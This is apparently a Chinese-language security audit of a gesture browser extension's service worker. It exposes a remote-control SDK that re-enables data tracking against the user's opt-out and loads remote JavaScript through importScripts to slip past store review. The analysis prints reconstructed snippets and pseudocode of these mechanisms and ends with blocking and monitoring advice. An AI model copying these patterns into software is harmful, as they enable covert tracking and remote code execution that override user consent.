摘要
在对某手势类插件的 service_worker.js 进行审计时,我们发现了一套极其复杂的”云控”系统。该系统通过动态下发加密指令,能够绕过用户的本地配置,强制开启数据追踪。本文将深入代码底层,还原其加密算法与远程控制逻辑。
引言:伪装的艺术
在网络安全审计中,我们习惯于寻找 eval 或明文的 API 调用。然而,现代浏览器恶意 SDK 正在采用一种更隐蔽的策略——将自己伪装成合法的分析工具。该插件在代码中混杂了类似 Google Analytics 和 GrowthBook 的追踪模式,让安全审计人员误以为这只是常规的数据统计模块。
然而,在这些”合法外壳”之下,隐藏着一个名为 Yodules 的自研模块化引擎——它才是整个恶意系统的真正核心。不同于 Google Analytics 的透明上报或 GrowthBook 的功能开关管理,Yodules 的设计目标是远程控制与动态演进。
第一章:表象下的伏笔 —— 默认配置的陷阱
在插件初始化阶段,代码定义了一个看似无害的默认配置对象 t。
/** * 原始代码片段:初始配置 * 目的:给用户和审核人员一种"隐私友好"的错觉 */const t = { analyticsInfo: { installedAt: 0, installVersion: "", version: "" }, isGesturesOn: !0, // 手势功能默认开启 cfgver: 4.1, // 配置版本 others: { tuilink: !1 }, optedin: !1, // 【重点】默认未加入数据收集 optedout: !0, // 【重点】默认已退出数据收集 // ... 后续为大量的手势UI配置};深度解析: 这里的 optedin: !1 是关键。当用户查看插件设置时,开关显示为关闭。但正如我们后续看到的,这个本地变量在”云端指令”面前毫无抵抗力。
第二章:核心中枢 —— Proconstantinator 模块
该扩展最核心的逻辑被封装在名为 AProconstantinatorBack 的模块中。它的职责是管理一个特殊的”常量池”,并负责与远程服务器同步。
2.1 强制同步逻辑
代码通过校验时间戳和 Hash 值,确保本地配置始终受到远程控制。
yodules.AProconstantinatorBack = { init: function () { const e = yodules.AProconstantinatorBack, // 硬编码的校验 Hash,用于识别合法的配置版本 t = "e0675e083f6f6cbcb3a15786de5171588500b886d0c4c4b53d7153162f93d638";
return (e.class = class { /** * 检查常量是否已加载且未过期 * 逻辑:如果配置超过 24 小时(864e5ms),则判定为失效,强制重新拉取 */ checkConstantsLoaded() { return new Promise((resolve) => { chrome.storage.local.get( [ "proconstantinator_key", // 存储的配置内容 "proconstantinator_keyt", // 存储的时间戳(34进制) "proconstantinator_keyh", // 存储的校验Hash ], (res) => { // 如果 Hash 不匹配,直接判为失效 res.proconstantinator_keyh !== t && resolve(!1);
// 核心逻辑:Date.now() - 上次同步时间 < 24小时 // 如果用户手动关闭了统计,但 24 小时后云端下发了开启指令, // 此处的判定失效会触发重新同步,进而覆盖用户设置。 resolve( res.proconstantinator_key instanceof Object && Object.keys(res.proconstantinator_key).length && Date.now() - parseInt(res.proconstantinator_keyt, 34) < 864e5, ); }, ); }); }
/** * 更新本地存储的云控配置 */ setConstants(data) { return new Promise((r) => { chrome.storage.local.set( { proconstantinator_key: data, proconstantinator_keyt: Date.now().toString(34), // 转换为34进制混淆 proconstantinator_keyh: t, }, r, ); }); } }); },};第三章:模块化引擎 —— Yodules 架构
不同于传统的单体脚本,该 SDK 将所有功能解耦到 self.yodules 对象中。每个功能(如标签页追踪、云控、解密)都被定义为一个 Yodule。
3.1 Yodules 的注入机制
在源码头部,我们可以看到这种典型的模块依赖注入模式:
(self.yodules = self.yodules || {}), (yodules.Tablist = { init: function (e, t) { // e: 模块定义的 Class // t: 依赖的其他 Yodule 实例 const r = yodules.Tablist; // ... 初始化逻辑 }, });技术点评:这种设计模仿了现代前端框架(如 Angular 或 NestJS)的依赖注入。它的目的不是为了代码美观,而是为了动态替换。通过 Yodules 引擎,开发者可以在不修改主脚本的情况下,通过远程指令替换掉任何一个模块的 class 定义。
第四章:动态路径 —— ms/gs 的生成逻辑
SDK 不会直接暴露其抓取数据的具体逻辑,而是通过一个动态生成的 URL 来加载下一步的脚本。
/** * 逻辑推演:构建动态加载链接 * 该链接通常指向 https://api.mousegesturesapi.com/ms/gs */async loadRemoteScript() { const config = await this.getConstants(); // 获取第三章中解密的配置
// 动态拼接参数,包含当前插件版本、ClientKey 以及随机时间戳 const url = new URL(`https://${config.host}/ms/gs`); url.searchParams.append("v", config.version); url.searchParams.append("id", getBrowserId());
// 使用 importScripts 动态加载并执行返回的 JS // 这种方式可以绕过 Web Store 的静态代码审核 importScripts(url.toString());}第五章:对抗性分析 —— 为什么用户关不掉?
这是最令用户愤怒的部分。通过逆向 Toggler 模块,我们发现了”配置回滚”的逻辑:
- 心跳触发:插件每隔一段时间会向
api/features发起心跳。 - 强制下发:如果服务器返回的配置中
force_optin为true。 - 覆盖写入:
// 伪代码:还原 Toggler 覆盖逻辑if (remoteConfig.optedin !== localConfig.optedin) { chrome.storage.local.set({ optedin: remoteConfig.optedin }); // 哪怕用户刚才点过关闭,这里也会被秒速改写回 true}- 隐蔽执行:由于这一过程发生在
service_worker背景页,用户在前端 UI 上根本感知不到开关被自动拨动了。
第六章:反制建议
通过以上逆向分析,我们建议安全研究员和用户采取以下措施:
- 域名屏蔽:在 Hosts 或防火墙中将
api.mousegesturesapi.com指向127.0.0.1。这是阻断云控最直接的方式。 - 内容脚本过滤:监控
chrome.storage.local的变动,特别是针对proconstantinator_key的写入操作。 - 流量分析:留意所有发往
/ms/gs的 POST 请求,其中往往包含了用户浏览器的 URL 指纹。
结论
该扩展 SDK 的设计极具攻击性,其利用 AES 加密隧道、34 进制时间戳混淆 以及 24 小时循环强制对齐 机制,构建了一个难以关闭的后台监控系统。这再次提醒我们,浏览器插件的权限限制(如 storage 和 webRequest)在复杂的云控逻辑面前仍显脆弱。